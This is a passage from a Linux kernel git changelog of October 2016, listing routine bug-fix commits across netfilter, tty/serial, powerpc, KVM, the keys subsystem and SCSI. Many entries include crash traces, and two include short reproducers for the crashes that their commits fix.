call __module_get at the beginning but we forget to put it back if ops->clone returns fail 2. memory will be leaked, if clone fail, we just return NULL and forget to free the alloced element 3. set->nelems will become incorrect when set->size is specified. If clone fail, we should decrease the set->nelems Now this patch fixes these problems. And fortunately, clone fail will only happen on counter expression when memory is exhausted. Fixes: 086f332167d6 ("netfilter: nf_tables: add clone interface to expression operations") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 6 ++++-- net/netfilter/nf_tables_api.c | 11 ++++++----- net/netfilter/nft_dynset.c | 16 ++++++++++------ net/netfilter/nft_set_hash.c | 4 ++-- net/netfilter/nft_set_rbtree.c | 2 +- 5 files changed, 23 insertions(+), 16 deletions(-) commit bb6a6e8e091353770074608c1d1bfde0e20b8154 Author: Liping Zhang Date: Sat Oct 22 18:51:24 2016 +0800 netfilter: nft_dynset: fix panic if NFT_SET_HASH is not enabled When CONFIG_NFT_SET_HASH is not enabled and I input the following rule: "nft add rule filter output flow table test {ip daddr counter }", kernel panic happened on my system: BUG: unable to handle kernel NULL pointer dereference at (null) IP: [< (null)>] (null) [...] Call Trace: [] ? nft_dynset_eval+0x56/0x100 [nf_tables] [] nft_do_chain+0xfb/0x4e0 [nf_tables] [] ? nf_conntrack_tuple_taken+0x61/0x210 [nf_conntrack] [] ? get_unique_tuple+0x136/0x560 [nf_nat] [] ? __nf_ct_ext_add_length+0x111/0x130 [nf_conntrack] [] ? nf_nat_setup_info+0x87/0x3b0 [nf_nat] [] ? ipt_do_table+0x327/0x610 [] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [] nf_iterate+0x55/0x60 [] nf_hook_slow+0x73/0xd0 Because in rbtree type set, ops->update is not implemented. So just keep it simple, in such case, report -EOPNOTSUPP to the user space. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_dynset.c | 3 +++ 1 file changed, 3 insertions(+) commit a74ad5e660a9ee1d071665e7e8ad822784a2dc7f Author: David S. Miller Date: Thu Oct 27 09:04:54 2016 -0700 sparc64: Handle extremely large kernel TLB range flushes more gracefully. When the vmalloc area gets fragmented, and because the firmware mapping area sits between where modules live and the vmalloc area, we can sometimes receive requests for enormous kernel TLB range flushes. When this happens the cpu just spins flushing billions of pages and this triggers the NMI watchdog and other problems. We took care of this on the TSB side by doing a linear scan of the table once we pass a certain threshold. Do something similar for the TLB flush, however we are limited by the TLB flush facilities provided by the different chip variants. First of all we use an (mostly arbitrary) cut-off of 256K which is about 32 pages. This can be tuned in the future. The huge range code path for each chip works as follows: 1) On spitfire we flush all non-locked TLB entries using diagnostic acceses. 2) On cheetah we use the "flush all" TLB flush. 3) On sun4v/hypervisor we do a TLB context flush on context 0, which unlike previous chips does not remove "permanent" or locked entries. We could probably do something better on spitfire, such as limiting the flush to kernel TLB entries or even doing range comparisons. However that probably isn't worth it since those chips are old and the TLB only had 64 entries. Reported-by: James Clarke Tested-by: James Clarke Signed-off-by: David S. Miller arch/sparc/mm/ultra.S | 283 ++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 228 insertions(+), 55 deletions(-) commit 7fe311302f7d52601cd799ad508a6f92cb3d748d Author: Jens Axboe Date: Thu Oct 27 09:49:19 2016 -0600 blk-mq: update hardware and software queues for sleeping alloc If we end up sleeping due to running out of requests, we should update the hardware and software queues in the map ctx structure. Otherwise we could end up having rq->mq_ctx point to the pre-sleep context, and risk corrupting ctx->rq_list since we'll be grabbing the wrong lock when inserting the request. Reported-by: Dave Jones Reported-by: Chris Mason Tested-by: Chris Mason Fixes: 63581af3f31e ("blk-mq: remove non-blocking pass in blk_mq_map_request") Signed-off-by: Jens Axboe block/blk-mq.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 248ff02165437864146d6fbd2d99b2359c3723e6 Author: Laura Abbott Date: Fri Oct 7 09:09:30 2016 -0700 driver core: Make Kconfig text for DEBUG_TEST_DRIVER_REMOVE stronger The current state of driver removal is not great. CONFIG_DEBUG_TEST_DRIVER_REMOVE finds lots of errors. The help text currently undersells exactly how many errors this option will find. Add a bit more description to indicate this option shouldn't be turned on unless you actually want to debug driver removal. The text can be changed later when more drivers are fixed up. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/base/Kconfig | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 2a9becdd4dbed499815938308bdab9aae70dd561 Author: Tony Luck Date: Fri Oct 14 10:56:42 2016 -0700 kernfs: Add noop_fsync to supported kernfs_file_fops If you edit a kernfs backed file with vi(1), you see an ugly error message when you write the file because vi tries to fsync(2) the file after writing, which fails. We have noop_fsync() for this, use it. Signed-off-by: Tony Luck Signed-off-by: Greg Kroah-Hartman fs/kernfs/file.c | 1 + 1 file changed, 1 insertion(+) commit 49ce5b5f0371951c3ad751e71a63f487606738c3 Merge: 602432c 2bf7dc8 Author: James Bottomley Date: Thu Oct 27 08:37:29 2016 -0700 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit 009e39ae44f4191188aeb6dfbf661b771dbbe515 Author: Scot Doyle Date: Thu Oct 13 12:12:43 2016 -0500 vt: clear selection before resizing When resizing a vt its selection may exceed the new size, resulting in an invalid memory access [1]. Clear the selection before resizing. [1] http://lkml.kernel.org/r/CACT4Y+acDTwy4umEvf5ROBGiRJNrxHN4Cn5szCXE5Jw-d1B=Xw@mail.gmail.com Reported-and-tested-by: Dmitry Vyukov Signed-off-by: Scot Doyle Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 3 +++ 1 file changed, 3 insertions(+) commit d3532ea6ce4ea501e421d130555e59edc2945f99 Author: Arnd Bergmann Date: Tue Oct 18 00:13:40 2016 +0200 brcmfmac: avoid maybe-uninitialized warning in brcmf_cfg80211_start_ap A bugfix added a sanity check around the assignment and use of the 'is_11d' variable, which looks correct to me, but as the function is rather complex already, this confuses the compiler to the point where it can no longer figure out if the variable is always initialized correctly: brcm80211/brcmfmac/cfg80211.c: In function ‘brcmf_cfg80211_start_ap’: brcm80211/brcmfmac/cfg80211.c:4586:10: error: ‘is_11d’ may be used uninitialized in this function [-Werror=maybe-uninitialized] This adds an initialization for the newly introduced case in which the variable should not really be used, in order to make the warning go away. Fixes: b3589dfe0212 ("brcmfmac: ignore 11d configuration errors") Cc: Hante Meuleman Cc: Arend van Spriel Cc: Kalle Valo Signed-off-by: Arnd Bergmann Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e604d9124b4c9b405e058a8495f28ce6a652efb2 Merge: 67f0160 5a143db Author: Kalle Valo Date: Thu Oct 27 18:00:21 2016 +0300 Merge tag 'iwlwifi-for-kalle-2015-10-25' of git://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/iwlwifi-fixes * some fixes for suspend/resume with unified FW images; * a fix for a false-positive lockdep report; * a fix for multi-queue that caused an unnecessary 1 second latency; * a fix for an ACPI parsing bug that caused a misleading error message; commit 03842c17397e14cb8bb1adc2015f5dce6c733ffe Author: Francois Berder Date: Tue Oct 25 13:24:13 2016 +0100 sc16is7xx: always write state when configuring GPIO as an output The regmap_update first reads the IOState register and then triggers a write if needed. However, GPIOS might be configured as an input so the read to IOState on this GPIO is the current state which might be random. Signed-off-by: Francois Berder Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/sc16is7xx.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit c03e1b8703a4a0c8bac7f6b65d8fcb539ec62d82 Author: Sergei Shtylyov Date: Fri Oct 21 23:00:43 2016 +0300 sh-sci: document R8A7743/5 support Renesas RZ/G SoC also have the SCIF, SCIFA, SCIFB, and HSCIF ports and they seem compatible with the R-Car gen2 SoC in this respect... Document RZ/G1[ME] (also known as R8A774[35]) SoC bindings. Signed-off-by: Sergei Shtylyov Acked-by: Simon Horman Acked-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/serial/renesas,sci-serial.txt | 8 ++++++++ 1 file changed, 8 insertions(+) commit ecb988a3b7985913d1f0112f66667cdd15e40711 Author: Steve Shih Date: Mon Oct 17 09:51:05 2016 -0700 tty: serial: 8250: 8250_core: NXP SC16C2552 workaround NXP SC16C2552 requires that we always write a reset to the RX FIFO and TX FIFO whenever we enable the FIFOs Cc: xe-kernel@external.cisco.com Signed-off-by: Steve Shih Signed-off-by: David Singleton Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 32b2921e6a7461fe63b71217067a6cf4bddb132f Author: Dmitry Vyukov Date: Fri Oct 14 15:18:28 2016 +0200 tty: limit terminal size to 4M chars Size of kmalloc() in vc_do_resize() is controlled by user. Too large kmalloc() size triggers WARNING message on console. Put a reasonable upper bound on terminal size to prevent WARNINGs. Signed-off-by: Dmitry Vyukov CC: David Rientjes Cc: One Thousand Gnomes Cc: Greg Kroah-Hartman Cc: Jiri Slaby Cc: Peter Hurley Cc: linux-kernel@vger.kernel.org Cc: syzkaller@googlegroups.com Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 2 ++ 1 file changed, 2 insertions(+) commit d704b2d32c39c256dea659e142a31b875a13c63b Author: Aaron Brice Date: Thu Oct 6 15:13:04 2016 -0700 tty: serial: fsl_lpuart: Fix Tx DMA edge case In the case where head == 0 on the circular buffer, there should be one DMA buffer, not two. The second zero-length buffer would break the lpuart driver, transfer would never complete. Signed-off-by: Aaron Brice Acked-by: Stefan Agner Tested-by: Stefan Agner Tested-by: Bhuvanchandra DV Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/fsl_lpuart.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit f00a7c57569db04633818bc5e0c0e35d62733b02 Author: Andy Shevchenko Date: Mon Oct 10 11:13:48 2016 +0300 serial: 8250_lpss: enable MSI for sure The commit 4fe0d154880b ("PCI: Use positive flags in pci_alloc_irq_vectors()") replaces flags from negative to positive values which makes mandatory to have the last argument in pci_alloc_irq_vectors() non-zero (if we want to be no-op). This basically drops MSI enabling in 8250_lpss driver. Restore desired behaviour in 8250_lpss by passing PCI_IRQ_ALL_TYPES instead of 0 to pci_alloc_irq_vectors(). Fixes: 60a9244a5d14 ("serial: 8250_lpss: enable MSI for Intel Quark") Cc: Christoph Hellwig Signed-off-by: Andy Shevchenko Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_lpss.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit be2c92b8f1648527620058fdac2bae12b07f1fe9 Author: Rob Herring Date: Mon Oct 24 15:56:49 2016 -0500 serial: core: fix console problems on uart_close Commit 761ed4a94582 ('tty: serial_core: convert uart_close to use tty_port_close') started setting the ttyport console flag for serial drivers. This is causing crashes, hangs, or garbage output on several platforms because the serial shutdown is skipped and IRQs are left enabled. Partially revert commit 761ed4a94582 and drop reporting UART tty_ports as a console leaving the console handling to the serial_core as it was before. Fixes: 761ed4a94582ab29 ("tty: serial_core: convert uart_close to use tty_port_close") Reported-by: Niklas Söderlund Reported-by: Mike Galbraith Reported-by: Mugunthan V N Cc: Peter Hurley Cc: Geert Uytterhoeven Cc: Alan Cox Cc: Greg Kroah-Hartman Cc: Jiri Slaby Cc: linux-serial@vger.kernel.org Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/serial_core.c | 2 -- 1 file changed, 2 deletions(-) commit 09065c5f0f1ff4bfb309975e182b746989a869c5 Author: Masahiro Yamada Date: Mon Oct 24 17:00:28 2016 +0900 serial: 8250_uniphier: fix clearing divisor latch access bit At this point, 'value' is always a byte, then this code is clearing bit 15, which is already clear. I meant to clear bit 7. Signed-off-by: Masahiro Yamada Reported-by: Denys Vlasenko Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_uniphier.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0ead21ad25f53117a1e39f0bddcb363e38886996 Author: Denys Vlasenko Date: Mon Oct 24 17:00:27 2016 +0900 serial: 8250_uniphier: fix more unterminated string Commit 1681d2116c96 ("serial: 8250_uniphier: add "\n" at the end of error log") missed this. Signed-off-by: Denys Vlasenko [masahiro: add commit log] Signed-off-by: Masahiro Yamada Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_uniphier.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit beadba5e19e2c44ec3527d3d1fc3ac3eda957e09 Author: Wei Yongjun Date: Sun Oct 23 11:38:18 2016 +0000 serial: pch_uart: add terminate entry for dmi_system_id tables Make sure dmi_system_id tables are NULL terminated. Signed-off-by: Wei Yongjun Acked-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/pch_uart.c | 1 + 1 file changed, 1 insertion(+) commit 78c22449f2d32aafd8804047f7e3bee4926b52eb Author: Nava kishore Manne Date: Wed Oct 12 13:17:28 2016 +0530 devicetree: bindings: uart: Add new compatible string for ZynqMP This patch Adds the new compatible string for ZynqMP SoC. Signed-off-by: Nava kishore Manne Acked-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/serial/cdns,uart.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 0267a4ff9836a1a4e59044db5bb8cdaddb986d3f Author: Nava kishore Manne Date: Wed Oct 12 13:17:27 2016 +0530 serial: xuartps: Add new compatible string for ZynqMP This patch Adds the new compatible string for ZynqMP SoC. Signed-off-by: Nava kishore Manne Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 2 ++ 1 file changed, 2 insertions(+) commit bc2a024f865d712bb5748aabe77cd515d7d5eea9 Author: Geert Uytterhoeven Date: Thu Oct 6 15:55:24 2016 +0200 serial: SERIAL_STM32 should depend on HAS_DMA If NO_DMA=y: drivers/built-in.o: In function `stm32_serial_remove': stm32-usart.c:(.text+0xcea1a): undefined reference to `bad_dma_ops' stm32-usart.c:(.text+0xcea7a): undefined reference to `bad_dma_ops' Add a dependency on HAS_DMA to fix this. Signed-off-by: Geert Uytterhoeven Acked-by: Alexandre Torgue Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/Kconfig | 1 + 1 file changed, 1 insertion(+) commit b20fb13c7c093f9170fbf162fc7f333d7a5cf77a Author: Geert Uytterhoeven Date: Thu Oct 6 15:42:54 2016 +0200 serial: stm32: Fix comparisons with undefined register drivers/tty/serial/stm32-usart.c: In function ‘stm32_receive_chars’: drivers/tty/serial/stm32-usart.c:130: warning: comparison is always true due to limited range of data type drivers/tty/serial/stm32-usart.c: In function ‘stm32_tx_dma_complete’: drivers/tty/serial/stm32-usart.c:177: warning: comparison is always false due to limited range of data type stm32_usart_offsets.icr is u8, while UNDEF_REG = ~0 is int, and thus 0xffffffff. As all registers in stm32_usart_offsets are u8, change the definition of UNDEF_REG to 0xff to fix this. Fixes: ada8618ff3bfe183 ("serial: stm32: adding support for stm32f7") Signed-off-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 42acfc6615f47e465731c263bee0c799edb098f2 Author: Jiri Slaby Date: Mon Oct 3 11:00:17 2016 +0200 tty: vt, fix bogus division in csi_J In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is divided by 2 inappropriatelly. But scr_memsetw expects size, not count, because it divides the size by 2 on its own before doing actual memset-by-words. So remove the bogus division. Signed-off-by: Jiri Slaby Cc: Petr Písař Fixes: f8df13e0a9 (tty: Clean console safely) Signed-off-by: Greg Kroah-Hartman drivers/tty/vt/vt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b5149a5fd15225c48b45e3f18bb6468fbae9bbd1 Merge: 85c856b 45c7ee4 Author: Paolo Bonzini Date: Thu Oct 27 13:22:54 2016 +0200 Merge tag 'kvm-s390-master-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/kvms390/linux into HEAD KVM: s390: Fix wrong memory allocation With commit d86bd1bece6f ("mm/slub: support left redzone") or with slab debugging the allocation of our diag224 buffer is not aligned properly. Let's fix this. commit fb479e44a9e240a23c2d208c2ace23542a47f41c Author: Nicholas Piggin Date: Thu Oct 13 13:17:14 2016 +1100 powerpc/64s: relocation, register save fixes for system reset interrupt This patch does a couple of things. First of all, powernv immediately explodes when running a relocated kernel, because the system reset exception for handling sleeps does not do correct relocated branches. Secondly, the sleep handling code trashes the condition and cfar registers, which we would like to preserve for debugging purposes (for non-sleep case exception). This patch changes the exception to use the standard format that saves registers before any tests or branches are made. It adds the test for idle-wakeup as an "extra" to break out of the normal exception path. Then it branches to a relocated idle handler that calls the various idle handling functions. After this patch, POWER8 CPU simulator now boots powernv kernel that is running at non-zero. Fixes: 948cf67c4726 ("powerpc: Add NAP mode support on Power7 in HV mode") Cc: stable@vger.kernel.org # v3.0+ Signed-off-by: Nicholas Piggin Acked-by: Gautham R. Shenoy Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 16 ++++++++++ arch/powerpc/kernel/exceptions-64s.S | 50 ++++++++++++++++++-------------- 2 files changed, 45 insertions(+), 21 deletions(-) commit bd77c4498616e27d5725b5959d880ce2272fefa9 Author: Aneesh Kumar K.V Date: Mon Oct 24 08:50:43 2016 +0530 powerpc/mm/radix: Use tlbiel only if we ever ran on the current cpu Before this patch, we used tlbiel, if we ever ran only on this core. That was mostly derived from the nohash usage of the same. But is incorrect, the ISA 3.0 clarifies tlbiel such that: "All TLB entries that have all of the following properties are made invalid on the thread executing the tlbiel instruction" ie. tlbiel only invalidates TLB entries on the current thread. So if the mm has been used on any other thread (aka. cpu) then we must broadcast the invalidate. This bug could lead to invalid TLB entries if a program runs on multiple threads of a core. Hence use tlbiel, if we only ever ran on only the current cpu. Fixes: 1a472c9dba6b ("powerpc/mm/radix: Add tlbflush routines") Cc: stable@vger.kernel.org # v4.7+ Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/include/asm/tlb.h | 12 ++++++++++++ arch/powerpc/mm/tlb-radix.c | 8 ++++---- 2 files changed, 16 insertions(+), 4 deletions(-) commit 39715bf972ed4fee18fe5409609a971fb16b1771 Author: Valentin Rothberg Date: Wed Oct 5 07:57:26 2016 +0200 powerpc/process: Fix CONFIG_ALIVEC typo in restore_tm_state() It should be ALTIVEC, not ALIVEC. Cyril explains: If a thread performs a transaction with altivec and then gets preempted for whatever reason, this bug may cause the kernel to not re-enable altivec when that thread runs again. This will result in an altivec unavailable fault, when that fault happens inside a user transaction the kernel has no choice but to enable altivec and doom the transaction. The result is that transactions using altivec may get aborted more often than they should. The difficulty in catching this with a selftest is my deliberate use of the word may above. Optimisations to avoid FPU/altivec/VSX faults mean that the kernel will always leave them on for 255 switches. This code prevents the kernel turning it off if it got to the 256th switch (and userspace was transactional). Fixes: dc16b553c949 ("powerpc: Always restore FPU/VEC/VSX if hardware transactional memory in use") Reviewed-by: Cyril Bur Signed-off-by: Valentin Rothberg Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 85c856b39b479dde410ddd09df1da745343010c9 Author: Jim Mattson Date: Wed Oct 26 08:38:38 2016 -0700 kvm: nVMX: Fix kernel panics induced by illegal INVEPT/INVVPID types Bitwise shifts by amounts greater than or equal to the width of the left operand are undefined. A malicious guest can exploit this to crash a 32-bit host, due to the BUG_ON(1)'s in handle_{invept,invvpid}. Signed-off-by: Jim Mattson Message-Id: <1477496318-17681-1-git-send-email-jmattson@google.com> [Change 1UL to 1, to match the range check on the shift count. - Paolo] Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bdc3478f90cd4d2928197f36629d5cf93b64dbe9 Author: Marcel Hasler Date: Thu Oct 27 00:42:27 2016 +0200 ALSA: usb-audio: Add quirk for Syntek STK1160 The stk1160 chip needs QUIRK_AUDIO_ALIGN_TRANSFER. This patch resolves the issue reported on the mailing list (http://marc.info/?l=linux-sound&m=139223599126215&w=2) and also fixes bug 180071 (https://bugzilla.kernel.org/show_bug.cgi?id=180071). Signed-off-by: Marcel Hasler Cc: Signed-off-by: Takashi Iwai sound/usb/quirks-table.h | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 58e3948a87e39289aeda5753e9712092c8ca0745 Author: Paolo Bonzini Date: Thu Oct 13 13:10:57 2016 +0200 KVM: document lock orders This is long overdue, and not really hard. Signed-off-by: Paolo Bonzini Message-Id: <1476357057-17899-1-git-send-email-pbonzini@redhat.com> Signed-off-by: Paolo Bonzini Documentation/virtual/kvm/locking.txt | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit d1f63f0c81c22ba705fcd149a1fcec37b734d818 Author: Wei Yongjun Date: Wed Oct 26 15:04:41 2016 +0000 mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() Fix to return a negative error code from the platform_get_irq_byname() error handling case instead of 0, as done elsewhere in this function. Fixes: ad81d3871004 ("mmc: sdhci-msm: Add support for UHS cards") Signed-off-by: Wei Yongjun Acked-by: Adrian Hunter Acked-by: Georgi Djakov Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-msm.c | 1 + 1 file changed, 1 insertion(+) commit f5d6d2da0d9098a4aa0ebcc187aa0fc167045d6b Author: Tobias Klauser Date: Wed Oct 26 13:37:04 2016 +0200 sched/fair: Remove unused but set variable 'rq' Since commit: 8663e24d56dc ("sched/fair: Reorder cgroup creation code") ... the variable 'rq' in alloc_fair_sched_group() is set but no longer used. Remove it to fix the following GCC warning when building with 'W=1': kernel/sched/fair.c:8842:13: warning: variable ‘rq’ set but not used [-Wunused-but-set-variable] Signed-off-by: Tobias Klauser Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161026113704.8981-1-tklauser@distanz.ch Signed-off-by: Ingo Molnar kernel/sched/fair.c | 3 --- 1 file changed, 3 deletions(-) commit 56fb2d6eb63acd48b50437b415b6f7d2fcffe75d Author: Josh Poimboeuf Date: Wed Oct 26 10:34:08 2016 -0500 objtool: Fix rare switch jump table pattern detection The following commit: 3732710ff6f2 ("objtool: Improve rare switch jump table pattern detection") ... improved objtool's ability to detect GCC switch statement jump tables for GCC 6. However the check to allow short jumps with the scanned range of instructions wasn't quite right. The pattern detection should allow jumps to the indirect jump instruction itself. This fixes the following warning: drivers/infiniband/sw/rxe/rxe_comp.o: warning: objtool: rxe_completer()+0x315: sibling call from callable instruction with changed frame pointer Reported-by: Arnd Bergmann Signed-off-by: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 3732710ff6f2 ("objtool: Improve rare switch jump table pattern detection") Link: http://lkml.kernel.org/r/20161026153408.2rifnw7bvoc5sex7@treble Signed-off-by: Ingo Molnar tools/objtool/builtin-check.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 31e6ec4519c0fe0ee4a2f6ba3ab278e9506b9500 Author: Artem Savkov Date: Wed Oct 26 15:02:09 2016 +0100 security/keys: make BIG_KEYS dependent on stdrng. Since BIG_KEYS can't be compiled as module it requires one of the "stdrng" providers to be compiled into kernel. Otherwise big_key_crypto_init() fails on crypto_alloc_rng step and next dereference of big_key_skcipher (e.g. in big_key_preparse()) results in a NULL pointer dereference. Fixes: 13100a72f40f5748a04017e0ab3df4cf27c809ef ('Security: Keys: Big keys stored encrypted') Signed-off-by: Artem Savkov Signed-off-by: David Howells cc: Stephan Mueller cc: Kirill Marinushkin cc: stable@vger.kernel.org Signed-off-by: James Morris security/keys/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7df3e59c3d1df4f87fe874c7956ef7a3d2f4d5fb Author: David Howells Date: Wed Oct 26 15:02:01 2016 +0100 KEYS: Sort out big_key initialisation big_key has two separate initialisation functions, one that registers the key type and one that registers the crypto. If the key type fails to register, there's no problem if the crypto registers successfully because there's no way to reach the crypto except through the key type. However, if the key type registers successfully but the crypto does not, big_key_rng and big_key_blkcipher may end up set to NULL - but the code neither checks for this nor unregisters the big key key type. Furthermore, since the key type is registered before the crypto, it is theoretically possible for the kernel to try adding a big_key before the crypto is set up, leading to the same effect. Fix this by merging big_key_crypto_init() and big_key_init() and calling the resulting function late. If they're going to be encrypted, we shouldn't be creating big_keys before we have the facilities to do the encryption available. The key type registration is also moved after the crypto initialisation. The fix also includes message printing on failure. If the big_key type isn't correctly set up, simply doing: dd if=/dev/zero bs=4096 count=1 | keyctl padd big_key a @s ought to cause an oops. Fixes: 13100a72f40f5748a04017e0ab3df4cf27c809ef ('Security: Keys: Big keys stored encrypted') Signed-off-by: David Howells cc: Peter Hlavaty cc: Kirill Marinushkin cc: Artem Savkov cc: stable@vger.kernel.org Signed-off-by: James Morris security/keys/big_key.c | 59 +++++++++++++++++++++++++++---------------------- 1 file changed, 32 insertions(+), 27 deletions(-) commit 03dab869b7b239c4e013ec82aea22e181e441cfc Author: David Howells Date: Wed Oct 26 15:01:54 2016 +0100 KEYS: Fix short sprintf buffer in /proc/keys show function This fixes CVE-2016-7042. Fix a short sprintf buffer in proc_keys_show(). If the gcc stack protector is turned on, this can cause a panic due to stack corruption. The problem is that xbuf[] is not big enough to hold a 64-bit timeout rendered as weeks: (gdb) p 0xffffffffffffffffULL/(60*60*24*7) $2 = 30500568904943 That's 14 chars plus NUL, not 11 chars plus NUL. Expand the buffer to 16 chars. I think the unpatched code apparently works if the stack-protector is not enabled because on a 32-bit machine the buffer won't be overflowed and on a 64-bit machine there's a 64-bit aligned pointer at one side and an int that isn't checked again on the other side. The panic incurred looks something like: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1 Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6 ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679 Call Trace: [] dump_stack+0x63/0x84 [] panic+0xde/0x22a [] ? proc_keys_show+0x3ce/0x3d0 [] __stack_chk_fail+0x19/0x30 [] proc_keys_show+0x3ce/0x3d0 [] ? key_validate+0x50/0x50 [] ? key_default_cmp+0x20/0x20 [] seq_read+0x2cc/0x390 [] proc_reg_read+0x42/0x70 [] __vfs_read+0x37/0x150 [] ? security_file_permission+0xa0/0xc0 [] vfs_read+0x96/0x130 [] SyS_read+0x55/0xc0 [] entry_SYSCALL_64_fastpath+0x1a/0xa4 Reported-by: Ondrej Kozina Signed-off-by: David Howells Tested-by: Ondrej Kozina cc: stable@vger.kernel.org Signed-off-by: James Morris security/keys/proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 67f0160fe34ec5391a428603b9832c9f99d8f3a1 Author: Mintz, Yuval Date: Mon Oct 24 08:48:09 2016 +0300 MAINTAINERS: Update qlogic networking drivers Following Cavium's acquisition of qlogic we need to update all the qlogic drivers maintainer's entries to point to our new e-mail addresses, as well as update some of the driver's maintainers as those are no longer working for Cavium. I would like to thank Sony Chacko and Rajesh Borundia for their support and development of our various networking drivers. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller MAINTAINERS | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) commit e52fed7177f74382f742c27de2cc5314790aebb6 Author: Stephen Hemminger Date: Sun Oct 23 21:32:47 2016 -0700 netvsc: fix incorrect receive checksum offloading The Hyper-V netvsc driver was looking at the incorrect status bits in the checksum info. It was setting the receive checksum unnecessary flag based on the IP header checksum being correct. The checksum flag is skb is about TCP and UDP checksum status. Because of this bug, any packet received with bad TCP checksum would be passed up the stack and to the application causing data corruption. The problem is reproducible via netcat and netem. This had a side effect of not doing receive checksum offload on IPv6. The driver was also also always doing checksum offload independent of the checksum setting done via ethtool. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 2bf7dc8443e113844d078fd6541b7f4aa544f92f Author: Ching Huang Date: Wed Oct 19 17:50:26 2016 +0800 scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller firmware. Depending on how drive caches are handled internally by controller firmware this could potentially lead to data integrity problems. Ensure that cache flushes are passed to the controller. [mkp: applied by hand and removed unused vars] Cc: Signed-off-by: Ching Huang Reported-by: Tomas Henzl Signed-off-by: Martin K. Petersen drivers/scsi/arcmsr/arcmsr_hba.c | 9 --------- 1 file changed, 9 deletions(-) commit 4d2b496f19f3c2cfaca1e8fa0710688b5ff3811d Author: Ewan D. Milne Date: Wed Oct 26 11:22:53 2016 -0400 scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded map_storep was not being vfree()'d in the module_exit call. Cc: Signed-off-by: Ewan D. Milne Reviewed-by: Laurence Oberman Signed-off-by: Martin K. Petersen drivers/scsi/scsi_debug.c | 1 + 1 file changed, 1 insertion(+) commit 10df8e6152c6c400a563a673e9956320bfce1871 Author: Eric Dumazet Date: Sun Oct 23 18:03:06 2016 